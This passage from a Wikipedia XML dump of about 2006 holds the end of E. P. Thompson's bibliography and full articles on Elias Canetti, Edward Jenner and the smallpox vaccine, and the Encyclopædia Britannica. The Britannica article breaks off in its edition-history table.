* ''William Morris: Romantic to Revolutionary'' (1st ed. London: Lawrence &amp; Wishart 1955, revised 2nd ed. New York: Pantheon, 1976).
* ''[[The Making of the English Working Class]]'' London: Victor Gollancz (1963); 2nd edition with new postcript, Harmondsworth: Penguin, 1968, third edition with new preface 1980.
* ''Warwick University Limited''Harmondsworth: Penguin, 1971.
* ''Whigs and Hunters: The Origin of the Black Act'', London: Allen Lane, 1975; with a new poscript, Harmondsworth: Penguin, 1977.
*(editor) ''Albion's Fatal Tree: Crime and Society in Eighteenth Century England'', London: Allen Lane, 1975. 
* ''The Poverty of Theory and Other Essays'', London: Merlin Press, 1978.
* ''Writing by Candlelight'', London: Merlin Press, 1980.
* ''Protest and Survive'', London: Penguin, 1980.
* ''Zero Option'', London: Merlin Press, 1982.
* ''The Heavy Dancers'', London: Merlin Press, 1985.
* ''Double Exposure'', London: Merlin Press, 1985.
* ''Star Wars'', London: Penguin, 1985.
* ''[[The Sykaos Papers]]'', London: Bloomsbury, 1988.
* ''Customs in Common: Studies in Traditional Popular Culture'', London: Merlin Press, (1991).
* ''Making History: Writings on History and Culture'', (1994).
* ''Witness Against the Beast: William Blake and the Moral Law'', (1993).
* ''The Romantics: England in a Revolutionary Age'', (1997).
* ''The Collected Poems'' (Poetry, first pub. 1999).

== Further reading ==
*[[Perry Anderson|Anderson, Perry]] ''Arguments within English Marxism'', London: Verson, 1980.
*Johnson, R. &quot;Edward Thompson, Eugence Genovese and Socialist-humanist History&quot; pages 7-9 from ''History Workshop Journal'', Volume 6, 1978.
*Kaye, Harvey ''The British Marxist Historians'', Cambridge: Polity Press, 1984. 
*Harvey J. Kaye and Keith McClelland, editors ''E.P.Thompson: Critical Perspectives'' Polity Press, London, 1990.
*Merrill, M. &quot;Interview with E.P. Thompson&quot; pages 5-25 from ''Visions of History'' edited by H. Abelove, Manchester: Manchester University Press, 1976.
*''New Left Review'' pages 3-25, Volume 201, 1993.
*Palmer, B.D. ''The Making of E.P. Thompson: Marxism, Humanism, and History'', Toronto: New Hogtown Press, 1981.
*Palmer, B.D. ''E.P. Thompson Objections and Oppositions'', New York: Verson, 1994. 
*''Radical History Review'', pages 152-164, Volume 58, 1994. 



[[Category:1924 births|Thompson, Edward Palmer]]
[[Category:1993 deaths|Thompson, Edward Palmer]]
[[Category:Alumni of Corpus Christi College, Cambridge|Thompson, Edward Palmer]]
[[Category:British communists|Thompson, E. P.]]
[[Category:British historians|Thompson, E. P.]]
[[Category:Marxist historians|Thompson, E. P.]]

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[[pt:Edward Palmer Thompson]]</text>
    </revision>
  </page>
  <page>
    <title>Elias Canetti</title>
    <id>9505</id>
    <revision>
      <id>40363090</id>
      <timestamp>2006-02-20T01:47:49Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:CanettiElias.jpg|thumbnail|left|Elias Canetti, Nobel Laureate in Literature]]
'''Elias Canetti''' ([[Ruse, Bulgaria|Ruse]] in [[Bulgaria]] [[25 July]], [[1905]]- [[Zurich]],  [[13 August]], [[1994]]), a [[Bulgaria]]n-born [[Great Britain|British]]-[[Austrian]] [[novelist]], wrote in [[German language | German]] and won the  [[Nobel Prize in Literature]] in 1981.

==Life==
Born in Rustschuk (now [[Ruse, Bulgaria]]) to a Jewish family who had long worked in trade, Canetti spent his child years from [[1905]] to [[1911]] in Rustschuk until the family moved to [[England]], because of his father's profession. In [[1912]] his father died, and his mother moved with her children to [[Vienna]] in the same year. By this time Canetti already spoke [[Ladino language|Ladino]], [[Bulgarian language|Bulgarian]], [[English language|English]] and some [[French language|French]] (he studied the latter two in the one year in England). However, living in [[Vienna]] from the age of 7 onwards, he came to use German (taught by his mother) as his main language. Subsequently the family moved first (from [[1916]] to [[1921]]) to [[Zurich]] and then (until [[1924]]) to [[Germany]], where Canetti graduated from high school.

Canetti went back in [[Vienna]] in [[1924]] in order to study chemistry. However his primary interests during his years in Vienna became philosophy and literature. Introduced into the literary circles of [[First Austrian Republic|first-republic]]-[[Vienna]], he started writing. He gained a degree in [[chemistry]] from the [[University of Vienna]] in [[1929]], but never worked as a chemist. In [[1938]], after the [[Anschluss]] of Austria to greater Germany, Canetti moved to [[London]] where he settled and stayed until the [[1970s]], receiving British citizenship in [[1952]]. For his last 20 years, Canetti predominantly lived in [[Zurich]].

In 1981, Canetti won the Nobel Prize in Literature &quot;for writings marked by a broad outlook, a wealth of ideas and artistic power&quot;.

==Works==
*''Die Hochzeit'' (''The Wedding'', play, 1932)
*''Komoedie der Eitelkeit'' 1934 (''The  Comedy of Vanity'')
*''Die Blendung'' 1935 (''Auto-da-Fé'', novel, tr.1946)
*''Die  Befristeten'' 1956 (? premiere of the play in Oxford) (''Their Days are Numbered'')
*''Masse und Macht'' 1960 (''Crowds and Power'', study, tr. 1962, published in Hamburg)
*''Aufzeichnungen 1942-48'' 1965 (''Sketches'')
*''Die Stimmen von Marrakesch'' 1968 published by Hanser in  Munich (''The Voices of Marrakesh'', travelogue, tr. 1978)
*''Der andere Prozess'' 1969 Kafkas Briefe an Felice (''Kafka's Other Trial'', tr. 1974).
*''Hitler nach Speer'' (Essay)
*''Die Provinz des Menschen'' Aufzeichnungen 1942-1972 (''The Human Province'', tr.  1978)
*''Der Ohrenzeuge. Fuenfzig Charaktere''  1974 (Ear Witness: Fifty Characters, tr. 1979).
*''Das Gewissen der Worte'' 1975. Essays  (''The Conscience of Words'')
*''Die Gerettete Zunge'' 1977 (''The Tongue Set Free'', memoir, tr. 1979)
*''Die Fackel im Ohr'' 1980 Lebensgeschichte  1921-1931 (''The Torch in My Ear'', memoir, tr. 1982)
*''Das Augenspiel'' 1985 Lebensgeschichte  1931-1937 (''The Play of the Eyes'', memoir, tr. 1990)
*''Das Geheimherz der Uhr: Aufzeichnungen'' 1987 (''The Secret Heart of the Clock'', tr. 1989)
*''Die Fliegenpein'' (''The Agony of Flies'', 1992)
*''Nachträge aus Hampstead'' (''Notes from Hampstead'', 1994)
*''Party im Blitz; Die englischen Jahre ''2003 (''Party in the Blitz'', memoir, published posthumously, tr.  2005)
*''Aufzeichnungen für Marie-Louise (written 1942, compiled and published posthumously, 2005

==See also==
*[[List of Jews]]
*[[List of British Jews]]
*[[List of Sephardic Jews]]
*[[List of Austrian writers]]
*[[List of Austrian Jews]]

==External links==
*[http://nobelprize.org/literature/laureates/1981/index.html Nobel Prize mini-site]

[[Category:1905 births|Canetti, Elias]]
[[Category:1994 deaths|Canetti, Elias]]
[[Category:Refugees|Canetti, Elias]]
[[Category:Bulgarian Jews|Canetti, Elias]]
[[Category:Nobel Prize in Literature winners|Canetti, Elias]]
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  </page>
  <page>
    <title>Edward Jenner</title>
    <id>9506</id>
    <revision>
      <id>42038013</id>
      <timestamp>2006-03-03T10:50:15Z</timestamp>
      <contributor>
        <username>Midgley</username>
        <id>278218</id>
      </contributor>
      <comment>one of the pioneers is reasonable, and like gravity it was there for anyone to &quot;discover&quot; but I think this gets closer to his role.  I hope.</comment>
      <text xml:space="preserve">[[Image:Edward Jenner2.jpg|right|thumb|Portrait of Jenner]]
'''Edward Jenner''' [[Fellow of the Royal Society|FRS]] ([[May 17]], [[1749]] - [[January 26]], [[1823]]) was an English country doctor who studied nature and his natural surroundings from childhood and practiced medicine in [[Berkeley, Gloucestershire|Berkeley]], [[Gloucestershire]], [[England]]. He is famous as the first doctor to introduce and study the [[smallpox vaccine]].

Jenner trained in [[Sodbury]], Gloucestershire as an apprentice to Dr. Ludlow for 8 years from the age of 13&lt;!--Brittanica and others--&gt;, then went up to London in 1770 to study under the [[surgeon]] [[John Hunter (Surgeon)|John Hunter]] (a noted experimentalist, and later a Fellow of the [[Royal Society]][http://www.royalsoc.ac.uk/DServe/dserve.exe?dsqIni=Dserve.ini&amp;dsqApp=Archive&amp;dsqCmd=show.tcl&amp;dsqDb=Persons&amp;dsqPos=3&amp;dsqSearch=(Surname='hunter')]) and others at [[Medical_school_%28United_Kingdom%29|St George's Hospital]].  [[William Osler]] records&lt;!--lectures at Yale in 1913 - Bartlett free bookshelf on Web--&gt; that Jenner was a student to whom Hunter repeated [[William Harvey]]'s advice, very famous in medical circles, &quot;Don't think, try&quot;.  Jenner therefore was early noticed by men famous for advancing the practice and institutions of medicine, and Hunter remained in correspondence with him over natural history and proposed him for the Royal Society.  Returning to his native countryside, by 1773 he became a successful [[general practitioner]] and surgeon, practicing in purpose built premises at Berkeley.

Jenner and others formed a medical society in Rodborough, Gloucestershire, meeting to read papers on medical subjects and dine together. Jenner contributed papers on [[angina pectoris]], [[ophthalmia]] and valvular disease of the heart and commented on [[cowpox]]. He also belonged to a similar society which met in Alveston, near Bristol.&lt;ref&gt;Papers at the Royal College of Physicians summarised at http://www.aim25.ac.uk/cgi-bin/search2?coll_id=7135&amp;inst_id=8&lt;/ref&gt;

He was elected Fellow of the [[Royal Society]] in 1788&lt;!--or 9 the Roy Soc says 9, RCS say 8 and married afterward, that year--&gt;, following a careful study combining observation, experiment and dissection into a description of the previously misunderstood life of the [[Common Cuckoo|cuckoo]] in the nest.  His description of the newly-hatched cuckoo pushing its host's eggs and fledglings from the nest (contrary to the existing belief that the adult cuckoo did it) was only confirmed in the 20th century [http://www.jennermuseum.com/ej/cuckoo.shtml] when photography became feasible. Having observed the behaviour, he demonstrated an anatomical adaptation for it - the baby cuckoo has a depression in its back which is not present after 12 days of life, in which it cups eggs and other chicks to  push them out of the nest.  It had been assumed that the adult bird did this, but the adult does not remain in the area for sufficiently long.  His findings were published in the Philosophical Transactions of the Royal Society in 1787.  Some discrepancies in the paper are ascribed to his nephew who is said to have made up some observations.

He married Catherine Kingscote (-1815(Tuberculosis)) in March 1788 having met her when [[balloons]] were hot science and he and other Fellows were experimenting with them.  His trial balloon descended into [[Kingscote Park]], owned by Anthony Kingscote, Catherine being one of his three daughters.  

In 1792 he obtained his MD from the [[University of St Andrews]].

== Smallpox ==
Around this time [[smallpox]] was greatly feared, as one in three of those who contracted the disease died, and those who survived were commonly badly disfigured.  [[Voltaire]], a few years later, recorded that 60% of people caught smallpox, with 20% of the population dying of it. A [[Dorset]] farmer, [[Benjamin Jesty]], had successfully inoculated his wife and two children during a smallpox epidemic in 1774, but it was not until Jenner's work some twenty years later that the procedure became widely understood. Indeed it is generally believed that Jenner was unaware of Jesty's success and arrived at his conclusions independently.
 
&lt;div style=&quot;float:right; margin: 5px 0px 5px 5px; padding: 3px; width:25em; background:#D3FFCD; border:1px solid #339933;&quot;&gt;
&lt;table style=&quot;background: transparent;&quot;&gt;
&lt;tr&gt;
&lt;td&gt;'''Jenner's Initial Theory'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;In fact he thought the initial source of infection was a disease of horses, called &quot;the grease&quot;, and that this was transferred to cows by farmworkers, transformed, and then manifested as cowpox.  From that point on he was correct, the complication probably arose from coincidence.
  
&lt;/table&gt;
&lt;/div&gt;

Noting the common observation that milkmaids did not generally get smallpox, Jenner theorized that the pus in the blisters which milkmaids received from [[cowpox]] (a disease similar to smallpox, but much less virulent) protected the milkmaids from smallpox.  He may have had the advantage of hearing stories of [[Benjamin Jesty]] and perhaps others deliberately arranging cowpox infection of their families and of a reduced risk in those families.

In May [[1796]], Jenner tested his theory by innoculating James Phipps, a young boy, with material from the cowpox blisters of the hand of Sarah Nelmes, a milkmaid who had caught cowpox from a cow called Blossom.  Phipps was the 17th case described in Jenners first paper on vaccination.

Jenner innoculated Phipps with cowpox pus in both arms on one day. This produced a fever and some uneasiness but no great illness. Later, he injected Phipps with [[variolation|variolous material]], which would have been the routine attempt to produce immunity at that time. No disease followed.  Jenner reported that later the boy was again challenged with variolacious material and again showed no sign of infection.

&lt;!-- I'm trying to lay out and convey to the reader what Jenner was actually thinking, and why it was important, rather than just what happened --&gt;
&lt;div style=&quot;float:left; margin: 5px 0px 5px 5px; padding: 3px; width:25em; background:#D3FFCD; border:1px solid #339933;&quot;&gt;
&lt;table style=&quot;background: transparent;&quot;&gt;
&lt;tr&gt;&lt;td&gt;
Known: that Smallpox was more dangerous than Variolation and Cowpox less dangerous than Variolation.
&lt;/td&gt;&lt;/tr&gt;  
&lt;tr&gt;
&lt;td&gt;The hypothesis tested: That infection with Cowpox would give immunity to Smallpox.
&lt;/td&gt;&lt;/tr&gt;  
&lt;tr&gt;&lt;td&gt;
The test: If Variolation failed to produce an infection, Phipps was shown to be immune to Smallpox.
&lt;/td&gt;&lt;/tr&gt;  
&lt;tr&gt;&lt;td&gt;
The consequence: Immunity to Smallpox could be induced much more safely.
&lt;/td&gt;&lt;/tr&gt; 
&lt;/table&gt;
&lt;/div&gt;


He continued his research and reported it to the Royal Society who did not publish the initial report.  After improvement and further work he published a report of 23 cases.  Some of his conclusions were correct, and some erroneous - modern microbiological and microscopic methods would make this easier to repeat.  The medical establishment, then as now, considered his findings for some time before accepting them. Eventually vaccination was accepted and in [[1840]] the British government banned variolation and provided vaccination free of charge.  (See [[Vaccination/Vaccination acts|Vaccination acts]])

Jenner did not patent his vaccine but was granted £10 000 by Parliament with the support of his colleagues and the King for his work on vaccination which prevented his continuing his ordinary medical practice.   Later in 1806 he was granted another £20 000. 

In 1803 in London he became involved with the Jennerian Institution, a society concerned with promoting vaccination to eradicate smallpox. In 1808, with government aid, this society became the National Vaccine Establishment.

Jenner became a member of the Medical and Chirurgical Society on its foundation in 1805, and subsequently presented to them a number of papers. This is now the [[Royal Society of Medicine]].  

Returning to London in 1811 he observed a significant number of cases of smallpox after vaccination occurring. He found that in these cases the severity of the illness was notably diminished by the previous vaccination. 

In 1813 the [[University of Oxford]] awarded him the degree of MD.

In 1821 he was appointed Physician Extraordinary to [[King George IV]], a considerable national honour, and was made Mayor of Berkeley and Justice of the Peace.

He continued his interests in natural history and 1823 he presented &quot;Observations on the Migration of Birds&quot; to the Royal Society.

[[Image:Jenner-statue-by-lachlan-mvc-006f.jpg|thumb|right|Bronze in Kensington Gardens]]
He died of his second stroke on [[26 January]] [[1823]], having fully recovered from the first, and was survived by one son and one daughter, the eldest son having died of tuberculosis aged 21. 

In [[1980]], the [[World Health Organisation]] declared smallpox an eradicated disease.  This was the result of coordinated public health efforts by many people, but vaccination was an essential component.

== Monuments ==
Jenner's house is now a small museum housing among other things the horns of the cow Blossom. The word vaccination comes from the [[Latin]] '''vaccinia''', cowpox, from '''vacca''', cow. Jenner was buried in the chancel of the parish church of Berkeley and statues erected in the nave of Gloucester Cathedral and one in [[Trafalgar Square]] later moved to [[Kensington Gardens]].[http://www.aim25.ac.uk/cgi-bin/search2?coll_id=7135&amp;inst_id=8]


== References ==
* 1. Papers at the Royal College of Physicians summarised at http://www.aim25.ac.uk/cgi-bin/search2?coll_id=7135&amp;inst_id=8
* Baron, John M.D. F.R.S., &quot;The Life of Edward Jenner MD LLD FRS&quot;, Henry Colburn, London, 1827.
* Edward Jenner, the man and his work.  BMJ 1949 E Ashworth Underwood

==Publications==
*[[1798]] ''An Inquiry Into the Causes and Effects of the Variolæ Vaccinæ''
* [[1799]] ''Further Observations on the Variolœ Vaccinœ''
*[[1800]]  ''A Continuation of Facts and Observations relative to the Variolœ Vaccinœ'' 40pgs
*[[1801]]  ''The Origin of the Vaccine Inoculation'' 12pgs

==See also==
{{commons|Edward Jenner}}
* [[Vaccine]]
* [[Vaccination]]
* [[History of science]]

==External links== 
*[http://85.1911encyclopedia.org/J/JE/JENNER_EDWARD.htm &quot;EDWARD JENNER.&quot; ''LoveToKnow 1911 Online Encyclopedia''. © 2003, 2004 LoveToKnow.]
* Jenner's papers on vaccination: http://www.bartleby.com/38/4/
* The Jenner Museum: http://www.dursley-cotswolds-uk.com/Jenner%20museum.html
* The Jenner Museum: http://www.jennermuseum.com
* [ftp://ftp.mirrorservice.org/sites/ftp.ibiblio.org/pub/docs/books/gutenberg/etext98/teomm10.txt The Evolution of Modern Medicine. Osler, W]

[[Category:1749 births|Jenner, Edward]]
[[Category:1823 deaths|Jenner, Edward]]
[[Category:Alumni of St George's, University of London|Jenner, Edward]]
[[Category:Anglicans|Jenner, Edward]]
[[Category:British doctors|Jenner, Edward]]
[[Category:Christians in science|Jenner]]
[[Category:Fellows of the Royal Society|Jenner, Edward]]
[[Category:Freemasons|Jenner, Edward]]

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[[zh:愛德華·詹納]]</text>
    </revision>
  </page>
  <page>
    <title>Encyclopedia Britannica</title>
    <id>9507</id>
    <revision>
      <id>15907395</id>
      <timestamp>2003-03-11T03:57:51Z</timestamp>
      <contributor>
        <username>Toby Bartels</username>
        <id>1078</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Encyclopædia Britannica]]</comment>
      <text xml:space="preserve">#REDIRECT [[Encyclopædia Britannica]]</text>
    </revision>
  </page>
  <page>
    <title>Encyclopædia Britannica</title>
    <id>9508</id>
    <revision>
      <id>41899990</id>
      <timestamp>2006-03-02T13:51:12Z</timestamp>
      <contributor>
        <username>Primetime</username>
        <id>457099</id>
      </contributor>
      <minor />
      <comment>/* CD-ROM edition and Britannica Online */</comment>
      <text xml:space="preserve">[[Image:EncycBrit1913.jpg|thumb|300px|[[1913]] [[advertisement]] for the [[1911 Encyclopædia Britannica|11th]] edition, with the slogan &quot;When in doubt &amp;mdash; 'look it up' in the Encyclopædia Britannica&quot;]]
The '''''Encyclopædia Britannica''''' (properly spelt with [[æ]], the ae-[[Ligature (typography)|ligature]]) was first published in [[1768]]&amp;ndash;[[1771]] as ''Encyclopædia Britannica, or, A dictionary of arts and sciences, compiled upon a new plan.'' The ''Britannica'' was an important early  [[English language|English-language]] general [[encyclopedia]], and is still published today.

From the late [[18th century]] to the early [[20th century]], the ''Britannica'''s articles were often judged by many as the foremost authority on a topic, and sometimes included new research or theory intended for a scholarly audience.  During this era, the ''Britannica'' gained its reputation and had a unique position in English-speaking culture.  However, the role of the [[encyclopedia]] changed substantially in the early 20th century, and this is reflected in the editions of the Britannica from the eleventh edition onward.  Encyclopedias have become a general reference used by a wide audience, with shorter, more readable articles.  They no longer serve as the authoritative reference on a topic; in the modern era, a wide range of academic journals, textbooks, specialized publications and electronic resources have displaced the encyclopedia. 

Today the ''Britannica'' has evolved primarily into electronic versions available on [[CD-ROM]] and via the [[World Wide Web]]. It has survived fierce competition from an ever-increasing number of alternative information sources.  The articles in the ''Britannica'' are commonly considered accurate, reliable, and well-written, and it continues to be widely consulted as a work of general reference.

==History==
A product of the [[Scottish enlightenment]], the ''Britannica'' was originally published in [[Edinburgh]] in the second-half of the 18th century.  The first ''Britannica'' was the brainchild of [[Colin Macfarquhar]], a bookseller and printer, and [[Andrew Bell]], an engraver, who published the reference work pseudonymously as a &quot;Society of Gentlemen.&quot;  The editor was scholar [[William Smellie (encyclopedist)|William Smellie]], then twenty-eight years old, who was offered [[Pound sterling|£]]200 to produce the Encyclopaedia in 100 parts and three volumes. The first part appeared in December 1768, priced six [[pence]]. By [[1771]], the Encyclopedia was complete with 2,391 pages and 160 engraved illustrations, and an estimated 3,000 copies were sold.

&lt;blockquote&gt;
It was compiled, as the title-page says, on a new plan. The different sciences and arts were &quot;digested into distinct treatises or systems,&quot; of which there are 45 with cross headings, that is, titles printed across the page, and about 30 other articles more than three pages long. The longest are &quot;Anatomy,&quot; 166 pages, and &quot;Surgery,&quot; 238 pages. &quot;The various technical terms, etc., are explained as they occur in the order of the alphabet.&quot;  &quot;Instead of dismembering the sciences, by attempting to treat them intelligibly under a multitude of technical terms, they have digested the principles of every science in the form of systems or distinct treatises, and explained the terms as they occur in the order of the alphabet, with references to the sciences to which they belong.&quot;  This plan, as the compilers say, differs from that of all the previous dictionaries of arts and sciences. Its merit and novelty consist in… on the one hand keeping important subjects together, and on the other facilitating reference by numerous separate articles.&lt;ref name=&quot;online encylopedia&quot;&gt;Quoted from: [http://encyclopedia.jrank.org/EMS_EUD/ENCYCLOPAEDIA.html Online Encyclopedia article on encyclopaedia]&lt;/ref&gt;
&lt;/blockquote&gt;

Owing to the success of the first edition, a more ambitious second edition followed.  This time Smellie declined as editor, and Macfarquhar took over the role himself, aided by [[James Tytler]]. The second edition was eventually published [[1777]]–[[1784]] in ten volumes with 8,595 pages.

&lt;blockquote&gt;
The plan of the work was enlarged by the addition of history and biography, which encyclopaedias in general had long omitted.  &quot;From the time of the second edition of this work, every cyclopaedia of note, in England and elsewhere, has been a cyclopaedia, not solely of arts and sciences, but of the whole wide circle of general learning and miscellaneous information &quot; (Quarterly Review, cxiii. 362).&lt;ref name=&quot;online encylopedia&quot;/&gt;
&lt;/blockquote&gt;

However, it was the third edition, published 1788&amp;ndash;1797 and edited by Macfarquhar and after his death by [[George Gleig]], which finally realized the encyclopedic vision. Not only broader in scope, with 18 volumes plus a two volume supplement totalling over 16,000 pages, the third edition was also the first to include articles written specifically for the ''Britannica'' by experts and academics, many recruited by Gleig. The third edition established the foundation of the ''Britannica'' as an important, and in many cases the definitive, reference on many topics for much of the next century.

In general, the major articles in the editions through the tenth edition were far longer and more scholarly than the articles in modern encyclopedias.  For an example, see ELIOHS' online version of the article History from the third edition (in the [[#External links|external links]] section below). Nineteenth century editions of the ''Britannica'' regularly included notable new or major works from its authors.

The extraordinary [[France|French]] ''[[Encyclopédie]]'' is widely considered to have inspired the publication of the ''Britannica.''  But unlike the ''[[Encyclopédie]],'' the ''Britannica'' was an extremely conservative publication. Later editions were usually dedicated to the reigning [[monarch]]. In dedicating the supplement to the third edition to the King, Gleig wrote, 

&lt;blockquote&gt;
The French Encyclopédie had been accused, and justly accused, of having disseminated far and wide the seeds of anarchy and atheism. If the Encyclopaedia Britannica shall in any degree counteract the tendency of that pestiferous work, even these two volumes will not be wholly unworthy of your Majesty's attention.&lt;ref name=&quot;online encylopedia&quot;/&gt;
&lt;/blockquote&gt;

[[Archibald Constable]] was involved in the publication to varying degrees from 1788 and after Macfarquhar's death in 1793.  In 1812 he acquired the ''Britannica'' from its trustees, and published the ''Britannica'' through 1826.  The fourth through sixth editions, and the supplement to them, included works by a number of highly-regarded Scottish and English authors and scientists: [[William Hazlitt]], [[John Stuart Mill]], [[Thomas Malthus]], [[David Ricardo]], [[Walter Scott]], and [[Thomas Young]], whose article on Egypt included the translation of the [[hieroglyphics]] on the [[Rosetta Stone]].

In the late 1820s, rights to the ''Britannica'' were acquired by the [[Edinburgh]] publishing firm of [[Adam Black|Adam]] &amp; Charles Black, who published the seventh and eighth editions, and included new chapters, such as 'Architecture' by [[William Hosking]]. The landmark ninth edition, often called the Scholar's edition, was published from 1875 to 1889.  The ninth edition included numerous in-depth, scholarly articles by pre-eminent authors, and therefore is considered by some to mark the high point in the history of English-language encyclopedias.

A &amp; C Black moved to [[London]] in 1895. The ''Britannica'' later became associated with ''[[The Times]]'' newspaper, and was sold in [[1901]].  The tenth edition of eleven volumes including map and index volumes was issued in effect as a large supplement to the ninth edition. The [[United States|American]] [[Horace Everett Hooper]] was publisher from [[1897]] to [[1922]]. From [[1909]], and for the eleventh edition, the publication became associated with the [[University of Cambridge]], in [[England]].

The substantially rewritten eleventh edition of [[1910]]&amp;ndash;[[1911]] is also a classic edition of the Encyclopædia Britannica, but reflected the new goals of its new owners.  The edition balances scholarly accuracy and scope with a readability intended to gain a wider audience and increased sales, using less lengthy but still thorough articles.  Sometimes called the [[1911 Encyclopædia Britannica]], this edition is available in the [[public domain]].  The 11th edition was the first edition to be published substantially at one time,  instead of volume by volume.  The complete text is [http://encyclopedia.jrank.org/ online free] and has been used as the basis for many historical articles in Wikipedia. 

The [[trademark]] and publication rights were sold after the 11th edition to [[Sears Roebuck]] and it moved to [[Chicago, Illinois|Chicago]], [[Illinois]], [[United States]]. The 12th and 13th editions each took the form of a three volume supplement or update, meant to be used in conjunction with the 11th edition.  The 14th edition of 1929 marked a major shift, with fewer volumes and shorter articles, meant to be more accessible as a reference to a wider range of readers.

Sears Roebuck offered the rights to the ''Britannica'' as a gift to the [[University of Chicago]] in 1941. [[William Benton]] figured as publisher from [[1943]] to his death in [[1973]], followed by his widow [[Helen Hemingway Benton]] until her own death in [[1974]].

In [[January 1996|January]] [[1996]], the ''Britannica'' was purchased by billionaire [[Switzerland|Swiss]] financier [[Jacob Safra]].

In [[October 2002|October]] [[2002]], ''[[Esquire (magazine)|Esquire]]'' editor [[A.J. Jacobs]] set out to read all 33,000 pages of the ''Britannica''. He chronicled this quest for knowledge in the [[2004]] book ''The Know-It-All'' (see References below for full citation).

==CD-ROM edition and Britannica Online==
[[Image:Britannica.jpg|thumb|300px|right|Encyclopaedia Britannica 2005 Deluxe Edition [[CD-ROM]]]]
In the [[1980s]], [[Microsoft]] approached Britannica to collaborate on a [[CD-ROM]] encyclopedia. Britannica, feeling that they had control of the market and showing strong profits (sales of the complete ''Britannica'' were priced between US$1,500 and US$2,200), turned Microsoft down. Britannica's senior management viewed their product as a luxury brand with an impeccable reputation handed down from generation to generation. They did not believe that a CD-ROM could adequately compete or supplement their business. In turn, Microsoft used content from ''[[Funk &amp; Wagnalls Standard Encyclopedia]]'' to create what is now known as ''[[Encarta]]''. 

In [[1990]], Britannica's sales reached all-time high of US$650 million. But ''Encarta'', released in [[1993]], became a staple software with every computer purchase and Britannica's market share plummeted. Britannica countered by offering a [[CD-ROM]] version of their product, although a CD-ROM could not generate US$500 to US$600 in sales commissions as the print version did. Britannica decided on charging $995 for customers looking to purchase only the CD-ROM while at the same time bundling a free disc with the print version. Britannica hoped that including the CD-ROM would entice buyers to stay with the brand.

In [[1994]], Britannica launched an online version with subscriptions for sale for US$2000. By [[1996]], the cost of the CD-ROM had dropped to US$200. Sales had plummeted to US$325 million - about half their 1990 levels. Only 55,000 hard copy versions were sold in [[1994]], compared with 117,000 in [[1990]], and sales later fell to 20,000&lt;ref&gt;&quot;&lt;cite&gt;Sales plummeted from 100,000 a year to just 20,000.&lt;/cite&gt;&quot; [http://news.bbc.co.uk/1/hi/business/40033.stm Encyclopaedia Britannica changes to survive]&lt;/ref&gt;. By the end of [[1996]], Britannica was in serious trouble and was purchased by Swiss financier [[Jacob Safra]] for a fraction of its book value - a mere US$135 million.  Since then Safra has introduced massive price-cutting measures in an effort to compete with ''Encarta'', even offering the entire reference free of charge for a time (around 18 months, from [[October 1999|October]] [[1999]] to [[March 2001|March]] [[2001]]) on the [[internet]].

Today, one of the biggest challenges to the ''Britannica'' is the ease with which people can find information online. Many people simply prefer to find information with the help of a search engine. A particular challenge to ''Britannica'' is the emergence of [[Wikipedia]] which has a size advantage over ''Britannica'' (1,000,000 articles compared to 120,000, and 340 million words compared to 55 million) and is free. However, despite its large size, Wikipedia does not deal with many of the topics contained within ''Britannica,'' and vice-versa. 
Other edges ''Britannica'' has over Wikipedia stem as a result of the former being a professionally-edited publication. In [[December 2005|December]] 2005, the scientific review ''[[Nature (journal)|Nature]]'' published the result of a study of errors in science articles in the two encyclopedias. They found ''Britannica'' to average almost three serious errors per article. By comparison, Wikipedia contained close to four errors per article. Many ''Nature'' reviewers also commented that they found Wikipedia articles to be more difficult to read. Further, the study also found that there were many more factual untruths and misleading statements in Wikipedia of a less-important nature -- 162 versus 123 in ''Britannica''.&lt;ref&gt;[http://www.nature.com/news/2005/051212/full/438900a.html news @ nature.com - special report]&lt;/ref&gt;

==Current version==
[[Encyclopædia Britannica Inc.]] now owns a trademark on the word &quot;Britannica&quot;. As of [[2004]], the most complete version of ''Encyclopædia Britannica'' contains about 120,000 articles, with 55 million words, and a comprehensive index, the first of its kind for a major encyclopedia. It is published in paper form (31,550 pages in 32 volumes containing 65,000 articles, list price US$1400), online (120,000 articles, brief summaries of articles can be viewed for free, and the full text is available for US$11.95 per month or US$69.95 per year for individual subscribers), and on [[CD-ROM]] (more than 80,000 articles, US$30) or [[DVD|DVD-ROM]] (more than 100,000 articles, US$50). The single-volume ''Britannica Concise Encyclopedia'', consisting of 28,000 articles, is sold as a reference to the ''Encyclopædia Brittannica''. Britannica annually publishes a &quot;Book of the Year&quot; chronicling the year's events, also available online.

The current version of ''Britannica'' was written by over 4,000 contributors, including noted scholars such as [[Milton Friedman]], [[Carl Sagan]], and [[Michael DeBakey]]. Under the influence of the director of planning, [[Mortimer Adler]], the 15th edition, first published in 1974 and frequently reissued since, was published not as one alphabetical sequence of volumes as previously but in three parts that covered topics in different degrees of depth: a one-volume [[Propædia]] that provides a structured hierarchy to all the information in the set, a 10-volume [[Micropædia]] which contains short articles, a 19-volume [[Macropædia]] for longer articles. A two-volume index was added in 1985. Thirty-five percent of the content of the encyclopedia has been re-written within the last two years.

[[Dale Hoiberg]], a [[sinology|sinologist]], is the publication's current editor-in-chief. Among his predecessors were [[Hugh Chisholm]] ([[1903]]–[[1913]], [[1920]]–[[1924]]), [[James Louis Garvin]] ([[1926]]–[[1932]]), [[Franklin Henry Hooper]] ([[1932]]–[[1938]]), [[Walter Yust]] ([[1938]]–[[1960]]), [[Harry S. Ashmore]] ([[1960]]–[[1963]]), [[Warren E. Preece]] ([[1964]]–[[1975]]), and [[Robert McHenry]] ([[1992]]–[[1997]]). [[Ted Pappas]] is the current executive editor. Earlier holders of that position were [[John V. Dodge]] ([[1950]]–[[1964]]) and [[Philip W. Goetz]]. [[Don Yannias]], former [[Chief executive officer|CEO]] of the company when it was in financial difficulties, serves on Britannica's [[Board of Directors]].

Among the members of an international editorial council planning a new (16th) edition are such notable figures as biologist [[David Baltimore]], cognitive scientist [[Donald Norman]], economist [[Amartya Sen]], philosopher [[Thomas Nagel]], and former Ecuadorian president [[Rosalía Arteaga]].

==Edition history==
{| class=&quot;wikitable&quot;
|-----
! Edition
! Published
! Size
! Editor(s)
|-----
| align=&quot;right&quot; | 1st || 1768–1771
| 3 vol.
| William Smellie
|-----
| align=&quot;right&quot; | 2nd || 1777–1784
| 10 vol.
| James Tytler
|-----
